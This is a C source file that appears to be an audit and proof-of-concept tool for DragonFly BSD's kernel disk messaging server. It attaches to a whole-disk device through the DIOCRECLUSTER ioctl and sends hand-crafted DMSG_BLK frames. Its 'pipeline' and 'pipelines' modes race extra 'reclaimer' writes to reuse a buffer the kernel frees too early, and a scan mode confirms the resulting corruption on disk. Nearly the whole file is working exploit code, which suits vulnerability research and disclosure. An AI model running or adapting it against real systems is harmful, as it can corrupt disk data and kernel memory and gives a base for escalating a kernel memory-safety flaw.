/*
 * dfpeer.c -- DragonFly kdmsg/xdisk wire-protocol peer for auditing
 *             sys/kern/subr_diskiocom.c (disk dmsg server side).
 *
 * Attaches to a whole-disk cdev via DIOCRECLUSTER (the ioctl handled by
 * disk_iocom_ioctl(), sys/kern/subr_diskiocom.c:108) with our own end of
 * a socketpair, then speaks the DMSG_BLK_* protocol directly:
 *
 *   openwr   <dev> <modes>            - BLK_OPEN|CREATE transaction (RD=1 WR=2)
 *   write    <dev> <off> <len> <c>    - single BLK_WRITE|CREATE|DELETE txn
 *   read     <dev> <off> <len> <out>  - single BLK_READ|CREATE|DELETE txn
 *   eofread  <dev> <off> <len> <out>  - same, intended at/after EOF
 *   pipeline <dev> <n> <aux> <off> <stride> <reclaimers>
 *                                     - ONE BLK_WRITE transaction streaming
 *                                       n pipelined writes (CREATE on first
 *                                       only), then <reclaimers> extra writes
 *                                       whose aux allocations race to reclaim
 *                                       the prematurely-freed buffer; finally
 *                                       DELETE. Readback is done by `read`.
 *   probe    <dev>                    - attach, drain, report kernel frames
 *
 * Build:  cc -O -o dfpeer dfpeer.c
 * The kernel reader thread (kern_dmsg.c kdmsg_iocom_thread_rd) only checks
 * magic/hbytes/aux_bytes -- no CRC verification on receive -- so we can
 * hand-craft frames.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/diskslice.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* ---- wire format (mirror of sys/sys/dmsg.h, all naturally aligned) ---- */
#define W_MAGIC        0x4832
#define W_ALIGN        64
#define W_DOALIGN(b)   (((b)+63) & ~63ULL)
#define F_CREATE       0x80000000U
#define F_DELETE       0x40000000U
#define F_REPLY        0x20000000U
#define F_ABORT        0x10000000U
#define F_CMDSWMASK    0x00FFFFFFU   /* CMDS|SIZE|PROTOS|REPLY for matching */

#define PROTO_BLK      0x00500000U
#define PROTO_LNK      0x00000000U
#define SUB_OPEN       0x001
#define SUB_READ       0x003
#define SUB_WRITE      0x004
#define SUB_LNKERR     0xFFF
#define HDRUNITS(n)    ((((n)+63)/64) & 0xFF)
#define CMD_BLK(sub, extlen) (PROTO_BLK | ((sub)<<8) | HDRUNITS(extlen))

struct w_hdr {
    uint16_t magic;
    uint16_t r02;
    uint32_t salt;
    uint64_t msgid;
    uint64_t circuit;
    uint64_t link_verifier;
    uint32_t cmd;
    uint32_t aux_crc;
    uint32_t aux_bytes;
    uint32_t error;
    uint64_t aux_descr;
    uint32_t r38;
    uint32_t hdr_crc;
};
/* extended blk payloads begin at byte 64 */
struct w_blk {
    struct w_hdr h;      /* 64 */
    uint64_t keyid;      /* 64 */
    uint64_t offset;     /* 72 */
    uint32_t bytes;      /* 80 */
    uint32_t flags;      /* 84 */
    uint32_t r1;         /* 88 */
    uint32_t r2;         /* 92 */
};

static int   peer_fd = -1;
static int   dev_fd  = -1;
static uint64_t next_msgid = 0x10000;
static uint8_t last_hdr[2048];  /* full extended header of last read frame */

static void die(const char *s) { perror(s); exit(2); }

static void xwrite(int fd, const void *buf, size_t n)
{
    const char *p = buf;
    while (n) {
        ssize_t r = write(fd, p, n);
        if (r < 0) {
            if (errno == EINTR || errno == EAGAIN) continue;
            die("write(peer)");
        }
        p += r; n -= r;
    }
}

static void xread(int fd, void *buf, size_t n)
{
    char *p = buf;
    while (n) {
        ssize_t r = read(fd, p, n);
        if (r < 0) {
            if (errno == EINTR || errno == EAGAIN) continue;
            die("read(peer)");
        }
        if (r == 0) { fprintf(stderr, "peer: EOF from kernel\n"); exit(3); }
        p += r; n -= r;
    }
}

/* read one frame; returns 0 ok; aux (if any) malloc'd into *aux_out */
static int read_frame(struct w_hdr *hdr, uint8_t **aux_out, size_t *auxn)
{
    uint32_t hbytes;
    xread(peer_fd, last_hdr, 64);
    memcpy(hdr, last_hdr, 64);
    if (hdr->magic != W_MAGIC) {
        fprintf(stderr, "peer: bad magic %04x\n", hdr->magic);
        exit(4);
    }
    hbytes = (hdr->cmd & 0xFF) * W_ALIGN;
    if (hbytes > 64 && hbytes <= sizeof(last_hdr))
        xread(peer_fd, last_hdr + 64, hbytes - 64);
    *aux_out = NULL; *auxn = 0;
    if (hdr->aux_bytes) {
        size_t ab = hdr->aux_bytes;
        size_t al = W_DOALIGN(ab);
        uint8_t *a = malloc(al ? al : 1);
        xread(peer_fd, a, al);
        *aux_out = a; *auxn = ab;
    }
    return 0;
}

/* send a blk message with aux payload */
static void send_blk(uint32_t cmd, uint64_t msgid, uint64_t off,
                     uint32_t bytes, const void *aux, size_t auxn)
{
    struct w_blk b;
    uint8_t pad[W_ALIGN];
    memset(&b, 0, sizeof(b));
    b.h.magic = W_MAGIC;
    b.h.cmd = cmd;
    b.h.msgid = msgid;
    b.h.aux_bytes = (uint32_t)auxn;
    b.keyid = 0;
    b.offset = off;
    b.bytes = bytes;
    xwrite(peer_fd, &b, sizeof(b));            /* 96 bytes ...          */
    xwrite(peer_fd, pad, 32);                  /* ... pad to hbytes=128 */
    if (auxn) {
        xwrite(peer_fd, aux, auxn);
        size_t tail = W_DOALIGN(auxn) - auxn;
        if (tail) { memset(pad, 0, sizeof(pad)); xwrite(peer_fd, pad, tail); }
    }
}

static void send_blk_open(uint32_t cmd, uint64_t msgid, uint32_t modes)
{
    uint8_t fbuf[128];
    memset(fbuf, 0, sizeof(fbuf));
    struct w_hdr *h = (struct w_hdr *)fbuf;
    h->magic = W_MAGIC;
    h->cmd = cmd;
    h->msgid = msgid;
    *(uint32_t *)(fbuf + 64) = modes;          /* blk_open.modes */
    xwrite(peer_fd, fbuf, sizeof(fbuf));
}

/* wait for a REPLY frame whose msgid matches; skip unrelated (LNK_CONN etc) */
static int wait_reply(uint64_t msgid, struct w_hdr *hdr,
                      uint8_t **aux, size_t *auxn, int verbose)
{
    for (;;) {
        read_frame(hdr, aux, auxn);
        if (verbose)
            fprintf(stderr, "frame: cmd=%08x msgid=%016jx err=%u aux=%zu\n",
                    hdr->cmd, (uintmax_t)hdr->msgid, hdr->error, *auxn);
        if ((hdr->cmd & F_REPLY) && hdr->msgid == msgid)
            return 0;
        free(*aux); *aux = NULL; *auxn = 0;
    }
}

static void attach(const char *dev)
{
    int sv[2];
    struct disk_ioc_recluster recl;
    size_t big = 8*1024*1024;

    dev_fd = open(dev, getenv("DFOPEN_RDWR") ? O_RDWR : O_RDONLY);
    if (dev_fd < 0) die("open(dev)");
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) die("socketpair");
    setsockopt(sv[0], SOL_SOCKET, SO_RCVBUF, &big, sizeof(big));
    setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &big, sizeof(big));
    setsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &big, sizeof(big));
    setsockopt(sv[1], SOL_SOCKET, SO_SNDBUF, &big, sizeof(big));

    memset(&recl, 0, sizeof(recl));
    recl.fd = sv[0];
    fprintf(stderr, "peer: ioctl(DIOCRECLUSTER fd=%d)...\n", sv[0]);
    if (ioctl(dev_fd, DIOCRECLUSTER, &recl) < 0)
        die("ioctl(DIOCRECLUSTER)");
    close(sv[0]);
    peer_fd = sv[1];
    fprintf(stderr, "peer: attached, peer_fd=%d\n", peer_fd);
}

int main(int argc, char **argv)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    alarm(90);
    if (argc < 2) goto usage;
    const char *dev = argv[2];

    if (!strcmp(argv[1], "probe")) {
        struct w_hdr h; uint8_t *a; size_t an; int n = 0;
        attach(dev);
        for (;;) {
            read_frame(&h, &a, &an);
            printf("frame[%d]: cmd=%08x msgid=%016jx err=%u aux=%zu\n",
                   n++, h.cmd, (uintmax_t)h.msgid, h.error, an);
            free(a);
            if (n >= 8) break;
        }
        return 0;
    }
    if (!strcmp(argv[1], "openwr")) {
        uint32_t modes = (uint32_t)strtoul(argv[3], NULL, 0);
        uint64_t mid = next_msgid++;
        struct w_hdr h; uint8_t *a; size_t an;
        attach(dev);
        send_blk_open(CMD_BLK(SUB_OPEN, 72) | F_CREATE, mid, modes);
        wait_reply(mid, &h, &a, &an, 1);
        printf("BLK_OPEN modes=%u -> reply cmd=%08x error=%u\n",
               modes, h.cmd, h.error);
        return (h.error == 0) ? 0 : 1;
    }
    if (!strcmp(argv[1], "write")) {
        uint64_t off = strtoull(argv[3], NULL, 0);
        uint32_t len = (uint32_t)strtoul(argv[4], NULL, 0);
        int pat = argc > 5 ? (int)strtoul(argv[5], NULL, 0) : 0x5a;
        uint64_t mid = next_msgid++;
        uint8_t *aux = malloc(len);
        struct w_hdr h; uint8_t *a; size_t an;
        memset(aux, pat, len);
        attach(dev);
        send_blk(CMD_BLK(SUB_WRITE, 96) | F_CREATE | F_DELETE, mid,
                 off, len, aux, len);
        wait_reply(mid, &h, &a, &an, 1);
        printf("BLK_WRITE off=%ju len=%u pat=%02x -> reply cmd=%08x error=%u\n",
               (uintmax_t)off, len, pat, h.cmd, h.error);
        return (h.error == 0) ? 0 : 1;
    }
    if (!strcmp(argv[1], "read") || !strcmp(argv[1], "eofread")) {
        uint64_t off = strtoull(argv[3], NULL, 0);
        uint32_t len = (uint32_t)strtoul(argv[4], NULL, 0);
        const char *out = argv[5];
        uint64_t mid = next_msgid++;
        struct w_hdr h; uint8_t *a = NULL; size_t an = 0;
        uint32_t resid;
        attach(dev);
        send_blk(CMD_BLK(SUB_READ, 96) | F_CREATE | F_DELETE, mid,
                 off, len, NULL, 0);
        wait_reply(mid, &h, &a, &an, 1);
        resid = *(uint32_t *)(last_hdr + 72);   /* blk_error.resid if BLK_ERROR */
        printf("%s off=%ju len=%u -> reply cmd=%08x error=%u resid=%u aux=%zu\n",
               argv[1], (uintmax_t)off, len, h.cmd, h.error, resid, an);
        if (an) {
            printf("aux[0..47]: ");
            for (size_t i = 0; i < an && i < 48; i++) printf("%02x", a[i]);
            printf("\n");
        }
        if (an && out && strcmp(out, "-")) {
            FILE *f = fopen(out, "wb");
            if (f) { fwrite(a, 1, an, f); fclose(f); }
            printf("aux dumped to %s\n", out);
        }
        return 0;
    }
    if (!strcmp(argv[1], "pipeline")) {
        /*
         * pipeline <dev> <n> <auxlen> <off> <stride> <reclaimers>
         */
        int n = atoi(argv[3]);
        uint32_t alen = (uint32_t)strtoul(argv[4], NULL, 0);
        uint64_t off = strtoull(argv[5], NULL, 0);
        uint64_t stride = strtoull(argv[6], NULL, 0);
        int nrec = atoi(argv[7]);
        uint64_t t = next_msgid++;
        uint8_t *aux = malloc(alen);
        struct w_hdr h; uint8_t *a; size_t an;
        int i;

        attach(dev);
        memset(aux, 0, alen);

        /* W1: CREATE the transaction, plain streaming afterwards */
        for (i = 0; i < n; i++) {
            uint32_t cmd = CMD_BLK(SUB_WRITE, 96);
            if (i == 0) cmd |= F_CREATE;
            memset(aux, 0x10 + i, alen);
            send_blk(cmd, t, off + (uint64_t)i * stride, alen, aux, alen);
        }
        /* reclaimers: more streaming writes whose aux kmallocs race to
         * reuse the buffer freed by the first completion; they target
         * DIFFERENT offsets so any 0xAA landing at an original offset
         * proves a freed-then-reused buffer was DMA'd by an older bio */
        for (i = 0; i < nrec; i++) {
            uint32_t cmd = CMD_BLK(SUB_WRITE, 96);
            if (i == nrec - 1) cmd |= F_DELETE;   /* eof on last */
            memset(aux, 0xAA, alen);
            send_blk(cmd, t, off + (uint64_t)(n + i) * stride, alen, aux, alen);
        }
        /* drain replies: expect n + nrec replies, last has DELETE */
        int got_del = 0;
        for (;;) {
            read_frame(&h, &a, &an);
            free(a);
            if ((h.cmd & F_REPLY) && (h.cmd & F_DELETE)) got_del++;
            if (got_del >= 1) break;   /* our txn closing reply */
        }
        printf("pipeline: %d writes + %d reclaimers streamed in txn %jx\n",
               n, nrec, (uintmax_t)t);
        return 0;
    }

    if (!strcmp(argv[1], "pipelines")) {
        /*
         * pipelines <dev> <rounds> <w1len> <w2len> <base> <stride>
         * Per round, in ONE BLK_WRITE transaction:
         *   W1 (small aux A)  -- CREATE
         *   W2 (big   aux B)
         *   R1..R4 (big aux, reclaimer pattern 0xAA)  -- last carries DELETE
         * W1's completion frees iost->data == aux(W2) while W2 may still
         * be in flight (subr_diskiocom.c:440 overwrite + :606 free).
         * Reclaimer aux allocations race to reuse the freed buffer.
         */
        int rounds = atoi(argv[3]);
        uint32_t l1 = (uint32_t)strtoul(argv[4], NULL, 0);
        uint32_t l2 = (uint32_t)strtoul(argv[5], NULL, 0);
        uint64_t base = strtoull(argv[6], NULL, 0);
        uint64_t stride = strtoull(argv[7], NULL, 0);
        struct w_hdr h; uint8_t *a; size_t an;
        int r, i;

        uint8_t *b1 = malloc(l1);
        uint8_t *b2 = malloc(l2);

        attach(dev);
        for (r = 0; r < rounds; r++) {
            uint64_t t = 0x20000000ULL + r;
            uint64_t o1 = base + (uint64_t)(6 * r + 0) * stride;
            uint64_t o2 = base + (uint64_t)(6 * r + 1) * stride;

            memset(b1, 0x11 + (r & 0xff), l1);
            memset(b2, 0x22 + (r & 0xff), l2);

            send_blk(CMD_BLK(SUB_WRITE, 96) | F_CREATE, t, o1, l1, b1, l1);
            send_blk(CMD_BLK(SUB_WRITE, 96), t, o2, l2, b2, l2);
            /* reclaimers: same size class as b2 */
            for (i = 0; i < 4; i++) {
                uint32_t cmd = CMD_BLK(SUB_WRITE, 96);
                if (i == 3) cmd |= F_DELETE;
                memset(b2, 0xAA, l2);
                send_blk(cmd, t, base + (uint64_t)(6 * r + 2 + i) * stride,
                         l2, b2, l2);
            }
            /* drain until the DELETE reply for txn t */
            for (;;) {
                read_frame(&h, &a, &an);
                free(a);
                if ((h.cmd & F_REPLY) && (h.cmd & F_DELETE) &&
                    h.msgid == t)
                    break;
            }
        }
        printf("pipelines: %d rounds done\n", rounds);
        return 0;
    }
    if (!strcmp(argv[1], "readscan")) {
        /*
         * readscan <dev> <base> <n> <stride> [rounds-info...]
         * prints first byte of each block (identifies which pattern
         * landed at each offset: 0x11+r = W1, 0x22+r = W2, 0xAA = rec)
         */
        uint64_t base = strtoull(argv[3], NULL, 0);
        int n = atoi(argv[4]);
        uint64_t stride = strtoull(argv[5], NULL, 0);
        struct w_hdr h; uint8_t *a = NULL; size_t an = 0;
        int i;
        attach(dev);
        for (i = 0; i < n; i++) {
            uint64_t mid = 0x30000000ULL + i;
            uint64_t off = base + (uint64_t)i * stride;
            uint32_t len = (uint32_t)stride;
            send_blk(CMD_BLK(SUB_READ, 96) | F_CREATE | F_DELETE, mid,
                     off, len, NULL, 0);
            wait_reply(mid, &h, &a, &an, 0);
            printf("off+%03d (0x%jx): %02x %02x %02x %02x\n", i,
                   (uintmax_t)off,
                   an > 0 ? a[0] : 0, an > 1 ? a[1] : 0,
                   an > 2 ? a[2] : 0, an > 3 ? a[3] : 0);
            free(a); a = NULL;
        }
        return 0;
    }
    if (!strcmp(argv[1], "hold")) {
        /* attach and park: hold the kernel's peer socket open, send
         * nothing, read nothing (simulates a non-cooperating peer) */
        int secs = argc > 3 ? atoi(argv[3]) : 300;
        attach(dev);
        fprintf(stderr, "peer: holding link open %ds (no traffic)\n", secs);
        sleep(secs);
        return 0;
    }
usage:
    fprintf(stderr,
      "usage: %s probe|openwr|write|read|eofread|pipeline args...\n", argv[0]);
    return 64;
}